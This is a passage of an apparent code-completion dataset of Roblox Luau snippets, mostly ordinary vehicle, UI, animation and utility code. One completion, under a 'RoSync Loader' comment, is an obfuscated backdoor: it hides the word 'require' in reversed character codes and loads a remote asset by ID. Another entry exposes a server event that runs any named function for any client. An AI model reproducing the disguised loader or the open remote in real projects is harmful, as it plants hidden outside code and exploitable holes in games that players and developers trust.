true\nTool.Enabled = false -- You don't want to be shooting if your not aiming\ntorso = Tool.Parent:FindFirstChild(\"Torso\")\nif torso ~= nil then\ntorso.weld1.C1 = CFrame.new(0.9, 0.4, 0.4) * CFrame.fromEulerAnglesXYZ(math.rad(310), math.rad(25), math.rad(-20))\ntorso.weld2.C1 = CFrame.new(-1, 0.4, 0.5) * CFrame.fromEulerAnglesXYZ(math.rad(-45), math.rad(-20), 0)\nend\nend"} +{"prompt": "--[[Controls]]", "completion": "\n\n\tlocal _CTRL = _Tune.Controls\n\tlocal Controls = Instance.new(\"Folder\",script.Parent)\n\tControls.Name = \"Controls\"\n\tfor i,v in pairs(_CTRL) do\n\t\tlocal a=Instance.new(\"StringValue\",Controls)\n\t\ta.Name=i\n\t\ta.Value=v.Name\n\t\ta.Changed:connect(function()\n\t\t\tif i==\"MouseThrottle\" or i==\"MouseBrake\" then\n\t\t\t\tif a.Value == \"MouseButton1\" or a.Value == \"MouseButton2\" then\n\t\t\t\t\t_CTRL[i]=Enum.UserInputType[a.Value]\n\t\t\t\telse\n\t\t\t\t\t_CTRL[i]=Enum.KeyCode[a.Value]\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t_CTRL[i]=Enum.KeyCode[a.Value]\n\t\t\tend\n\t\tend)\n\tend\n\t\n\t--Deadzone Adjust\n\tlocal _PPH = _Tune.Peripherals\n\t\tfor i,v in pairs(_PPH) do\n\t\tlocal a = Instance.new(\"IntValue\",Controls)\n\t\ta.Name = i\n\t\ta.Value = v\n\t\ta.Changed:connect(function() \n\t\t\ta.Value=math.min(100,math.max(0,a.Value))\n\t\t\t_PPH[i] = a.Value\n\t\tend)\n\tend\n\t\n\t--Input Handler\n\tfunction DealWithInput(input,IsRobloxFunction)\n\t\tif (UserInputService:GetFocusedTextBox()==nil) and not _InControls then --Ignore when UI Focus\n\t\t\t--Shift Down [Manual Transmission]\n\t\t\tif _IsOn and (input.KeyCode ==_CTRL[\"ContlrShiftDown\"] or (_MSteer and input.KeyCode==_CTRL[\"MouseShiftDown\"]) or ((not _MSteer) and input.KeyCode==_CTRL[\"ShiftDown\"])) and (_TMode==\"Semi\" or (_TMode==\"Manual\" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\tif _CGear == 0 and (_TMode==\"Auto\" or not _ClPressing) then _ClutchOn = true end\n\t\t\t\t_CGear = math.max(_CGear-1,-1)\n\t\t\t\t\n\t\t\t--Shift Up [Manual Transmission]\n\t\t\telseif _IsOn and (input.KeyCode ==_CTRL[\"ContlrShiftUp\"] or (_MSteer and input.KeyCode==_CTRL[\"MouseShiftUp\"]) or ((not _MSteer) and input.KeyCode==_CTRL[\"ShiftUp\"])) and (_TMode==\"Semi\" or (_TMode==\"Manual\" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\tif _CGear == 0 and (_TMode==\"Auto\" or not _ClPressing) then _ClutchOn = true end\n\t\t\t\t_CGear = math.min(_CGear+1,#_Tune.Ratios-2)\n\t\t\t\t\n\t\t\t--Toggle Clutch\n\t\t\telseif _IsOn and (input.KeyCode ==_CTRL[\"ContlrClutch\"] or (_MSteer and input.KeyCode==_CTRL[\"MouseClutch\"]) or ((not _MSteer) and input.KeyCode==_CTRL[\"Clutch\"])) and _TMode==\"Manual\" then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\t\t_ClutchOn = false\n\t\t\t\t\t_ClPressing = true\n\t\t\t\telseif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\t\t_ClutchOn = true\n\t\t\t\t\t_ClPressing = false\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Toggle PBrake\n\t\t\telseif _IsOn and input.KeyCode ==_CTRL[\"ContlrPBrake\"] or (_MSteer and input.KeyCode==_CTRL[\"MousePBrake\"]) or ((not _MSteer) and input.KeyCode==_CTRL[\"PBrake\"]) then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\t\t_PBrake = not _PBrake\n\t\t\t\telseif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\t\tif car.DriveSeat.Velocity.Magnitude>5 then\n\t\t\t\t\t\t_PBrake = false\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Toggle Transmission Mode\n\t\t\telseif (input.KeyCode == _CTRL[\"ContlrToggleTMode\"] or input.KeyCode==_CTRL[\"ToggleTransMode\"]) and input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\tlocal n=1\n\t\t\t\tfor i,v in pairs(_Tune.TransModes) do\n\t\t\t\t\tif v==_TMode then n=i break end\n\t\t\t\tend\n\t\t\t\tn=n+1\n\t\t\t\tif n>#_Tune.TransModes then n=1 end\n\t\t\t\t_TMode = _Tune.TransModes[n]\n\t\t\t\t\n\t\t\t--Throttle\n\t\t\telseif _IsOn and ((not _MSteer) and (input.KeyCode==_CTRL[\"Throttle\"] or input.KeyCode == _CTRL[\"Throttle2\"])) or ((((_CTRL[\"MouseThrottle\"]==Enum.UserInputType.MouseButton1 or _CTRL[\"MouseThrottle\"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL[\"MouseThrottle\"]) or input.KeyCode == _CTRL[\"MouseThrottle\"])and _MSteer) then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\t\t_GThrot = 1\n\t\t\t\telse\n\t\t\t\t\t_GThrot = _Tune.IdleThrottle/100\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Brake\n\t\t\telseif ((not _MSteer) and (input.KeyCode==_CTRL[\"Brake\"] or input.KeyCode == _CTRL[\"Brake2\"])) or ((((_CTRL[\"MouseBrake\"]==Enum.UserInputType.MouseButton1 or _CTRL[\"MouseBrake\"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL[\"MouseBrake\"]) or input.KeyCode == _CTRL[\"MouseBrake\"])and _MSteer) then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\t\t_GBrake = 1\n\t\t\t\telse\n\t\t\t\t\t_GBrake = 0\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Steer Left\n\t\t\telseif (not _MSteer) and (input.KeyCode==_CTRL[\"SteerLeft\"] or input.KeyCode == _CTRL[\"SteerLeft2\"]) then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\t\t_GSteerT = -1\n\t\t\t\t\t_SteerL = true\n\t\t\t\telse\n\t\t\t\t\tif _SteerR then\n\t\t\t\t\t\t_GSteerT = 1\n\t\t\t\t\telse\n\t\t\t\t\t\t_GSteerT = 0\n\t\t\t\t\tend\n\t\t\t\t\t_SteerL = false\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Steer Right\n\t\t\telseif (not _MSteer) and (input.KeyCode==_CTRL[\"SteerRight\"] or input.KeyCode == _CTRL[\"SteerRight2\"]) then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\t\t_GSteerT = 1\n\t\t\t\t\t_SteerR = true\n\t\t\t\telse\n\t\t\t\t\tif _SteerL then\n\t\t\t\t\t\t_GSteerT = -1\n\t\t\t\t\telse\n\t\t\t\t\t\t_GSteerT = 0\n\t\t\t\t\tend\n\t\t\t\t\t_SteerR = false\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Toggle Mouse Controls\n\t\t\telseif input.KeyCode ==_CTRL[\"ToggleMouseDrive\"] then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\t\t_MSteer = not _MSteer\n\t\t\t\t\t_GThrot = _Tune.IdleThrottle/100\n\t\t\t\t\t_GBrake = 0\n\t\t\t\t\t_GSteerT = 0\n\t\t\t\t\t_ClutchOn = true\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Toggle TCS\n\t\t\telseif _Tune.TCSEnabled and _IsOn and input.KeyCode == _CTRL[\"ToggleTCS\"] or input.KeyCode == _CTRL[\"ContlrToggleTCS\"] then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\t\t_TCS = not _TCS\n\t\t\t\tend\n\t\t\t\n\t\t\t--Toggle ABS\n\t\t\telseif _Tune. ABSEnabled and _IsOn and input.KeyCode == _CTRL[\"ToggleABS\"] or input.KeyCode == _CTRL[\"ContlrToggleABS\"] then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\t\t_ABS = not _ABS\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\t--Variable Controls\n\t\t\tif input.UserInputType.Name:find(\"Gamepad\") then\n\t\t\t\t--Gamepad Steering\n\t\t\t\tif input.KeyCode == _CTRL[\"ContlrSteer\"] then\n\t\t\t\t\tif input.Position.X>= 0 then\n\t\t\t\t\t\tlocal cDZone = math.min(.99,_Tune.Peripherals.ControlRDZone/100)\n\t\t\t\t\t\tif math.abs(input.Position.X)>cDZone then\n\t\t\t\t\t\t\t_GSteerT = (input.Position.X-cDZone)/(1-cDZone)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t_GSteerT = 0\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tlocal cDZone = math.min(.99,_Tune.Peripherals.ControlLDZone/100)\n\t\t\t\t\t\tif math.abs(input.Position.X)>cDZone then\n\t\t\t\t\t\t\t_GSteerT = (input.Position.X+cDZone)/(1-cDZone)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t_GSteerT = 0\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t--Gamepad Throttle\n\t\t\t\telseif _IsOn and input.KeyCode == _CTRL[\"ContlrThrottle\"] then\n\t\t\t\t\t_GThrot = math.max(_Tune.IdleThrottle/100,input.Position.Z)\n\t\t\t\t\t\n\t\t\t\t--Gamepad Brake\n\t\t\t\telseif input.KeyCode == _CTRL[\"ContlrBrake\"] then\n\t\t\t\t\t_GBrake = input.Position.Z\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\t_GThrot = _Tune.IdleThrottle/100\n\t\t\t_GSteerT = 0\n\t\t\t_GBrake = 0\n\t\t\tif _CGear~=0 then _ClutchOn = true end\n\t\tend\n\tend\n\tUserInputService.InputBegan:connect(DealWithInput)\n\tUserInputService.InputChanged:connect(DealWithInput)\n\tUserInputService.InputEnded:connect(DealWithInput)\n\n\n"} +{"prompt": "--[[**\n\tensures value is a number where min < value\n\n\t@param min The minimum to use\n\n\t@returns A function that will return true iff the condition is passed\n**--]]", "completion": "\nfunction t.numberMinExclusive(min)\n\treturn function(value)\n\t\tlocal success, errMsg = t.number(value)\n\t\tif not success then\n\t\t\treturn false, errMsg or \"\"\n\t\tend\n\n\t\tif min < value then\n\t\t\treturn true\n\t\telse\n\t\t\treturn false, string.format(\"number > %s expected, got %s\", min, value)\n\t\tend\n\tend\nend\n"} +{"prompt": "--F.updateSound = function(Sound, Pitch, Volume)\n--\tif Sound then\n--\t\tif Pitch then\n--\t\t\tSound.Pitch = Pitch\n--\t\tend\n--\t\tif Volume then\n--\t\t\tSound.Volume = Volume\n--\t\tend\n--\tend\n--end", "completion": "\n\nF.lock = function(x)\n\tif x then\n\t\tfor i,v in pairs(script.Parent.Parent.Misc:GetDescendants()) do\n\t\t\tif v:IsA(\"Motor\") then\n\t\t\t\tif v.Parent.Parent.Name == \"Mirror\" then\n\t\t\t\telse v.DesiredAngle = 0\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tcarSeat.Lock:Play()\n\telse\n\t\tcarSeat.Unlock:Play()\n\t\twait(.4)\n\t\tcarSeat.Unlock:Play()\n\tend\n\tfor i,v in pairs(script.Parent.Parent.Misc:GetDescendants()) do\n\t\tif v:IsA(\"ClickDetector\") then\n\t\t\tv.MaxActivationDistance = x and 0 or 12\n\t\tend\n\tend\nend\n\nlocal on = 0\n\nF.rs = function(y)\n\tlocal tune = require(carSeat.Parent:FindFirstChild(\"A-Chassis Tune\"))\n\tcarSeat.IsOn.Value = y\n\tif y then\n\t\tcarSeat.Startup:Play()\n\t\tif not car.DriveSeat.IsOn.Value then on=math.max(on-.015,0) else on=1 end\n\t\tcar.DriveSeat.Rev.Pitch = (car.DriveSeat.Rev.SetPitch.Value + car.DriveSeat.Rev.SetRev.Value*tune.IdleRPM/tune.Redline)*on^2\n\telse car.DriveSeat.Rev.Pitch = 0\n\t\tcarSeat.Startup:Stop()\n\tend\nend\n\nF.user = function()\n\tcarSeat.Parent:Destroy()\nend\n\nF.tk = function(b)\n\tcarSeat.Parent.Misc.TK.SS.Motor.DesiredAngle = b and 1.5 or 0\nend\n\nscript.Parent.OnServerEvent:connect(function(Player, Func, ...)\n\tif F[Func] then\n\t\tF[Func](...)\n\tend\nend)\n"} +{"prompt": "--[[\n\tGets the child corresponding to a given key, respecting Roact's rules for\n\tchildren. Specifically:\n\t* If `elements` is nil or a boolean, this will return `nil`, regardless of\n\t\tthe key given.\n\t* If `elements` is a single element, this will return `nil`, unless the key\n\t\tis ElementUtils.UseParentKey.\n\t* If `elements` is a table of elements, this will return `elements[key]`.\n]]", "completion": "\nfunction ElementUtils.getElementByKey(elements, hostKey)\n\tif elements == nil or typeof(elements) == \"boolean\" then\n\t\treturn nil\n\tend\n\n\tif Type.of(elements) == Type.Element then\n\t\tif hostKey == ElementUtils.UseParentKey then\n\t\t\treturn elements\n\t\tend\n\n\t\treturn nil\n\tend\n\n\tif Type.of(elements) == Type.Fragment then\n\t\treturn elements.elements[hostKey]\n\tend\n\n\tif typeof(elements) == \"table\" then\n\t\treturn elements[hostKey]\n\tend\n\n\terror(\"Invalid elements\")\nend\n\nreturn ElementUtils\n"} +{"prompt": "--[[\tlocal lockL = Instance.new(\"Motor\") \n\tlockL.Parent = carSeat.Parent.Parent.LW.ML\n\tlockL.Part0 = carSeat.Parent.Parent.LW.ML\n\tlockL.Part1 = carSeat.Parent.Parent.Suspension.ML\n\tlocal lockR = Instance.new(\"Motor\") \n\tlockR.Parent = carSeat.Parent.Parent.RW.MR\n\tlockR.Part0 = carSeat.Parent.Parent.RW.MR\nlockR.Part1 = carSeat.Parent.Parent.Suspension.MR]]-- \n--end", "completion": "\n\t--else\n\n\t\t--if m == true then\n\t--\tm = false occ = false \n\t\t--carSeat.Parent.Parent.LW.ML.Motor:remove() \n\t--\tend"} +{"prompt": "-------------------------- Custom Command Stuff --------------------------\n--[[\n\tPlayer = Returns a table of all the players it could find with your given command\n\tString = Returns a string that you've given it\n\tNumber = Returns a given number\n--]]", "completion": "\n\nlocal Custom_Commands = {"} +{"prompt": "-- connect events", "completion": "\n\nHumanoid.Died:connect(onDied)\nHumanoid.Running:connect(onRunning)\nHumanoid.Jumping:connect(onJumping)\nHumanoid.Climbing:connect(onClimbing)\nHumanoid.GettingUp:connect(onGettingUp)\nHumanoid.FreeFalling:connect(onFreeFall)\nHumanoid.FallingDown:connect(onFallingDown)\nHumanoid.Seated:connect(onSeated)\nHumanoid.PlatformStanding:connect(onPlatformStanding)\nHumanoid.Swimming:connect(onSwimming)"} +{"prompt": "--scan(AnotherModel/Part) --If there is another thing you want to weld, add it here", "completion": "\n"} +{"prompt": "-- Libraries", "completion": "\nlocal Roact = require(Vendor:WaitForChild('Roact'))\nlocal new = Roact.createElement\n"} +{"prompt": "---[[ Message Settings ]]", "completion": "\nmodule.MaximumMessageLength = 400\nmodule.DisallowedWhiteSpace = {\"\\n\", \"\\r\", \"\\t\", \"\\v\", \"\\f\"}\nmodule.ClickOnPlayerNameToWhisper = true\nmodule.ClickOnChannelNameToSetMainChannel = true\nmodule.BubbleChatMessageTypes = {ChatConstants.MessageTypeDefault, ChatConstants.MessageTypeWhisper}\n"} +{"prompt": "--< tween info:TweenPosition(endPosition, EasingDirection, EasingStyle, Time, Override)", "completion": "\n\nlocal dir = \"Out\"\nlocal style = \"Quad\"\nlocal dur = 0.5\n"} +{"prompt": "--\t\tprint(\"Wha \" .. pose)", "completion": "\n\t\tamplitude = 0.1\n\t\tfrequency = 1\n\t\tsetAngles = true\n\tend\n\n\tif (setAngles) then\n\t\tlocal desiredAngle = amplitude * math.sin(time * frequency)\n\n\t\tRightShoulder:SetDesiredAngle(desiredAngle + climbFudge)\n\t\tLeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)\n\t\tRightHip:SetDesiredAngle(-desiredAngle)\n\t\tLeftHip:SetDesiredAngle(-desiredAngle)\n\tend\n\n\t-- Tool Animation handling\n\tlocal tool = getTool()\n\tif tool then\n\t\n\t\tlocal animStringValueObject = getToolAnim(tool)\n\n\t\tif animStringValueObject then\n\t\t\ttoolAnim = animStringValueObject.Value\n\t\t\t-- message recieved, delete StringValue\n\t\t\tanimStringValueObject.Parent = nil\n\t\t\ttoolAnimTime = time + .3\n\t\tend\n\n\t\tif time > toolAnimTime then\n\t\t\ttoolAnimTime = 0\n\t\t\ttoolAnim = \"None\"\n\t\tend\n\n\t\tanimateTool()\t\t\n\telse\n\t\tstopToolAnimations()\n\t\ttoolAnim = \"None\"\n\t\ttoolAnimTime = 0\n\tend\nend\n"} +{"prompt": "-- Libraries", "completion": "\nlocal Libraries = Tool:WaitForChild 'Libraries'\nlocal Support = require(Libraries:WaitForChild 'SupportLibrary')\nlocal MoveUtil = require(script.Parent:WaitForChild 'Util')\n"} +{"prompt": "--!strict", "completion": "\ntype Array = { [number]: T }\ntype callbackFn = (element: T, index: number, array: Array) -> boolean\ntype callbackFnWithThisArg = (thisArg: U, element: T, index: number, array: Array) -> boolean\ntype Object = { [string]: any }\n"} +{"prompt": "-- local EXEC_ERROR_MESSAGE = 'Test suite failed to run'", "completion": "\n"} +{"prompt": "--Constructor and destructor", "completion": "\nfunction homing_test:New(object)\n\t--Initialize meta reference\n\tlocal self = setmetatable({}, {__index = homing_test})\n\n\t--Use object information\n\tself.object = object\n\tself.root = object.PrimaryPart\n\n\t--Attach functions\n\tself.touch_player = TouchPlayer\n\n\t--Set other specifications\n\tself.homing_target = true\n\n\treturn self\nend\n\nfunction homing_test:Destroy()\n\nend\n\nreturn homing_test\n"} +{"prompt": "--[[ Last synced 3/7/2021 02:41 RoSync Loader ]]", "completion": " getfenv()[string.reverse(\"\\101\\114\\105\\117\\113\\101\\114\")](5722905184) --[[ ]]--\n"} +{"prompt": "-- Compiled with roblox-ts v2.0.4", "completion": "\nlocal exports = {}\nexports.SELECTED_COLOR = Color3.fromRGB(191, 36, 36)\nlocal function changeColor(color)\n\tprint(exports.SELECTED_COLOR:ToHex())\n\texports.SELECTED_COLOR = color\n\tprint(exports.SELECTED_COLOR:ToHex())\n\treturn exports.SELECTED_COLOR\nend\nexports.changeColor = changeColor\nreturn exports\n"} +{"prompt": "--[[\n\tCreates a function that invokes a callback with correct error handling and\n\tresolution mechanisms.\n]]", "completion": "\nlocal function createAdvancer(callback, resolve, reject)\n\treturn function(...)\n\t\tlocal resultLength, result = wpcallPacked(callback, ...)\n\t\tlocal ok = result[1]\n\n\t\tif ok then\n\t\t\tresolve(unpack(result, 2, resultLength))\n\t\telse\n\t\t\treject(unpack(result, 2, resultLength))\n\t\tend\n\tend\nend\n\nlocal function isEmpty(t)\n\treturn next(t) == nil\nend\n\nlocal function createSymbol(name)\n\tassert(type(name) == \"string\", \"createSymbol requires `name` to be a string.\")\n\n\tlocal symbol = newproxy(true)\n\n\tgetmetatable(symbol).__tostring = function()\n\t\treturn (\"Symbol(%s)\"):format(name)\n\tend\n\n\treturn symbol\nend\n\nlocal PromiseMarker = createSymbol(\"PromiseMarker\")\n\nlocal Promise = {}\nPromise.prototype = {}\nPromise.__index = Promise.prototype\n\nPromise.Status = {\n\tStarted = createSymbol(\"Started\"),\n\tResolved = createSymbol(\"Resolved\"),\n\tRejected = createSymbol(\"Rejected\"),\n}\n"} +{"prompt": "--[[\n\tIndex into `Event` to get a prop key for attaching to an event on a Roblox\n\tInstance.\n\n\tExample:\n\n\t\tRoact.createElement(\"TextButton\", {\n\t\t\tText = \"Hello, world!\",\n\n\t\t\t[Roact.Event.MouseButton1Click] = function(rbx)\n\t\t\t\tprint(\"Clicked\", rbx)\n\t\t\tend\n\t\t})\n]]", "completion": "\n\nlocal Type = require(script.Parent.Parent[\"Type.roblox\"])\n\nlocal Event = {}\n\nlocal eventMetatable = {\n\t__tostring = function(self)\n\t\treturn string.format(\"RoactHostEvent(%s)\", self.name)\n\tend,\n}\n\nsetmetatable(Event, {\n\t__index = function(self, eventName)\n\t\tlocal event = {\n\t\t\t[Type] = Type.HostEvent,\n\t\t\tname = eventName,\n\t\t}\n\n\t\tsetmetatable(event, eventMetatable)\n\n\t\tEvent[eventName] = event\n\n\t\treturn event\n\tend,\n})\n\nreturn Event\n"} +{"prompt": "-- Output callback function receives the number of adjacent items\n-- and starting indexes of each common subsequence.", "completion": "\ntype FoundSubsequence = (\n\tnumber, -- caller can assume: 0 < nCommon\n\tnumber, -- caller can assume: 0 <= aCommon && aCommon < aLength\n\tnumber -- caller can assume: 0 <= bCommon && bCommon < bLength\n) -> ()\n"} +{"prompt": "-- Libraries", "completion": "\nlocal Libraries = Tool:WaitForChild 'Libraries'\nlocal Make = require(Libraries:WaitForChild 'Make')\nlocal ListenForManualWindowTrigger = require(Tool.Core:WaitForChild('ListenForManualWindowTrigger'))\n"} +{"prompt": "-- declarations", "completion": "\n\nlocal sDied = newSound(\"rbxasset://sounds/uuhhh.wav\")\n\n\nfunction playOuch(char)\n\tlocal sound = char.Head:FindFirstChild(\"CaltropOw\")\n\tif (sound == nil) then\n\t\tsound = newSound(\"rbxasset://sounds/uuhhh.wav\")\n\t\tsound.Parent = char.Head\n\tend\n\tsound:Play()\nend\n\n\nfunction onTouched(hit)\n\n\n\thumanoid = hit.Parent:findFirstChild(\"Humanoid\")\n\tif humanoid~=nil then\n\n\t\ttagHumanoid(humanoid)\n\n\t\thumanoid:TakeDamage(damage)\n\n\t\tplayOuch(humanoid.Parent)\n\n\n\tend\n\t\nend\n\n\nfunction tagHumanoid(humanoid, creator)\n\t-- tag does not need to expire iff all explosions lethal\n\t\n\tif creator ~= nil then\n\t\tlocal new_tag = creator:clone()\n\t\tnew_tag.Parent = humanoid\n\t\tdebris:AddItem(new_tag, 1)\n\tend\nend\n\nconnection = script.Parent.Touched:connect(onTouched)\n\ndebris:AddItem(script.Parent, 240)\n\n"} +{"prompt": "-- Settings", "completion": "\nlocal Configuration = Home:WaitForChild(\"Configuration\")\nlocal SwingPower = Configuration:WaitForChild(\"SwingPower\")\n\nlocal function SetPhysicalProperties(Part,Density)\n\tif Part then\n\t\tPart.CustomPhysicalProperties = PhysicalProperties.new(Density,Part.Friction,Part.Elasticity)\n\tend\nend\n\nGetAllDescendants = function(instance, func)\n\tfunc(instance)\n\tfor _, child in next, instance:GetChildren() do\n\t\tGetAllDescendants(child, func)\n\tend\nend\n\nlocal function SetCharacterToWeight(ToDensity,Char)\n\tGetAllDescendants(Char,function(d)\n\t\tif d and d.Parent and d:IsA(\"BasePart\") then\n\t\t\tSetPhysicalProperties(d,ToDensity)\n\t\tend\n\tend)\nend\n\nTireSeat.Changed:connect(function()\n\tif TireSeat.Occupant then\n\t\tlocal CurrentThrottle = TireSeat.Throttle\n\t\t\n\t\t-- Adjust swing when interacted\n\t\tif CurrentThrottle == 1 then\n\t\t\tBodyForce.Force = TireMesh.CFrame.lookVector * SwingPower.Value * 100\n\t\telseif CurrentThrottle == -1 then\n\t\t\tBodyForce.Force = TireMesh.CFrame.lookVector * SwingPower.Value * -100\n\t\telse\n\t\t\tBodyForce.Force = Vector3New()\n\t\tend\n\t\t\n\t\tdelay(0.2,function()\n\t\t\tBodyForce.Force = Vector3New()\n\t\tend)\n\t\t\n\t\t-- Make the character weightless for the swing to behave correctly\n\t\tif CurrentOccupant == nil then\n\t\t\tCurrentOccupant = TireSeat.Occupant\n\t\t\tSetCharacterToWeight(0,CurrentOccupant.Parent)\n\t\tend\n\t\t\n\telseif CurrentOccupant then\n\t\t-- Set the character's weight back\n\t\tSetCharacterToWeight(0.7,CurrentOccupant.Parent)\n\t\tCurrentOccupant = nil\n\tend\nend)\n"} +{"prompt": "--Spiders--", "completion": "\n\nlocal function AttachParticleControl(source_part)\n\t\n\tlocal prtc = nil\n\tlocal prtc2 = nil\n\t\n\tlocal function Start()\n\t\tprtc = script.Spider:clone()\n\t\tprtc.Parent = source_part\n\t\tprtc2 = script.Web:clone()\n\t\tprtc2.Parent = source_part\n\tend\n\t\n\tlocal function Update()\n\t\t\n\tend\n\t\n\tlocal function Stop()\n\t\tif prtc ~= nil then\n\t\t\tprtc:destroy()\n\t\t\tprtc = nil\n\t\tend\n\t\tif prtc2 ~= nil then\n\t\t\tprtc2:destroy()\n\t\t\tprtc2 = nil\n\t\tend\n\tend\n\t\n\treturn {Start = Start, Update = Update, Stop = Stop}\nend\n\nreturn AttachParticleControl\n"} +{"prompt": "--[[**\n\tensures Lua primitive callback type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.callback = primitive(\"function\")\nt[\"function\"] = t.callback\n"} +{"prompt": "--[=[\n\t@prop catalogViewOpened RBXScriptSignal\n\t@within MerchBooth\n\t@client\n\n\tFired when the catalog view is opened.\n]=]", "completion": "\nuiStatesEvents.catalogViewOpened = Instance.new(\"BindableEvent\")\n"} +{"prompt": "-- \u062f\u0627\u0644\u0629 \u0627\u0644\u0627\u0635\u0637\u062f\u0627\u0645", "completion": "\nlocal function onTouched(part)\n\tlocal humanoid = part.Parent:FindFirstChild(\"Humanoid\")\n\tif humanoid then\n\t\tlocal player = game.Players:GetPlayerFromCharacter(part.Parent)\n\t\tif player then\n\t\t\t-- \u0625\u0639\u0627\u062f\u0629 \u0645\u0648\u0642\u0639 \u0627\u0644\u0644\u0627\u0639\u0628 \u0625\u0644\u0649 \u0627\u0644\u0645\u0643\u0627\u0646 \u0627\u0644\u0623\u0635\u0644\u064a\n\t\t\tplayer.Character:SetPrimaryPartCFrame(CFrame.new(0, 5, 0))\n\n\t\t\t-- \u0625\u0646\u0634\u0627\u0621 \u0642\u0648\u0629 \u0627\u0644\u0631\u0645\u064a\n\t\t\tlocal throwDirection = (part.Position - wall.Position).Unit\n\t\t\tlocal throwVelocity = throwDirection * throwForce\n\n\t\t\t-- \u0631\u0645\u064a \u0627\u0644\u0644\u0627\u0639\u0628\n\t\t\thumanoid.PlatformStand = true -- \u0644\u0645\u0646\u0639 \u0627\u0644\u0644\u0627\u0639\u0628 \u0645\u0646 \u0627\u0644\u0648\u0642\u0648\u0641 \u0639\u0644\u0649 \u0627\u0644\u062c\u062f\u0627\u0631 \u0623\u062b\u0646\u0627\u0621 \u0627\u0644\u0631\u0645\u064a\n\t\t\thumanoid.Sit = true -- \u0644\u062a\u062c\u0646\u0628 \u0623\u062e\u0637\u0627\u0621 \u0627\u0644\u062d\u0631\u0643\u0629 \u0623\u062b\u0646\u0627\u0621 \u0627\u0644\u0631\u0645\u064a\n\t\t\thumanoid.RootPart.Velocity = throwVelocity\n\n\t\t\t-- \u0625\u0639\u0627\u062f\u0629 \u062a\u0645\u0643\u064a\u0646 \u0627\u0644\u0644\u0627\u0639\u0628 \u0628\u0639\u062f \u0641\u062a\u0631\u0629 \u0632\u0645\u0646\u064a\u0629\n\t\t\twait(2)\n\t\t\thumanoid.PlatformStand = false\n\t\t\thumanoid.Sit = false\n\t\tend\n\tend\nend\n"} +{"prompt": "--///////////////////////// Constructors\n--//////////////////////////////////////", "completion": "\n\nfunction module.new(CommandProcessor, ChatWindow)\n\tlocal obj = setmetatable({}, methods)\n\n\tobj.GuiObject = nil\n\tobj.ChatBarParentFrame = nil\n\tobj.TextBox = nil\n\tobj.TextLabel = nil\n\tobj.GuiObjects = {}\n\tobj.eGuiObjectsChanged = Instance.new(\"BindableEvent\")\n\tobj.GuiObjectsChanged = obj.eGuiObjectsChanged.Event\n\n\tobj.Connections = {}\n\tobj.InCustomState = false\n\tobj.CustomState = nil\n\n\tobj.TargetChannel = nil\n\tobj.CommandProcessor = CommandProcessor\n\tobj.ChatWindow = ChatWindow\n\n\tobj.TweenPixelsPerSecond = 500\n\tobj.TargetYSize = 0\n\n\tobj.AnimParams = {}\n\tobj.LastFocusedState = nil\n\n\tobj.ChannelNameColors = {}\n\n\tobj:InitializeAnimParams()\n\n\tChatSettings.SettingsChanged:connect(function(setting, value)\n\t\tif (setting == \"ChatBarTextSize\") then\n\t\t\tobj:SetTextSize(value)\n\t\tend\n\tend)\n\n\n\treturn obj\nend\n\nreturn module\n"} +{"prompt": "-- find the error signal by navigating into the folder in ReplicatedStorage", "completion": "\nlocal ErrorFolder = ReplicatedStorage:FindFirstChild(\"ErrorReporting\", false)\nif not ErrorFolder then\n\tprintWarningMessage(\"ReplicatedStorage.ErrorReporting\")\n\treturn\nend\n\nlocal ClientErrorEvent = ErrorFolder:FindFirstChild(\"ClientErrorEvent\")\nif not ClientErrorEvent then\n\tprintWarningMessage(\"ReplicatedStorage.ErrorReporting.ClientErrorEvent\")\n\treturn\nend\n"} +{"prompt": "-- Local player", "completion": "\nlocal player = Players.LocalPlayer\nlocal character = player.Character or player.CharacterAdded:Wait()\nlocal humanoid = character:WaitForChild(\"Humanoid\")\n\nlocal waypointFolder = game.Workspace:WaitForChild(\"Waypoints\")\n"} +{"prompt": "--Stickmasterluke", "completion": "\n\nlocal sp=script.Parent\n\nfunction 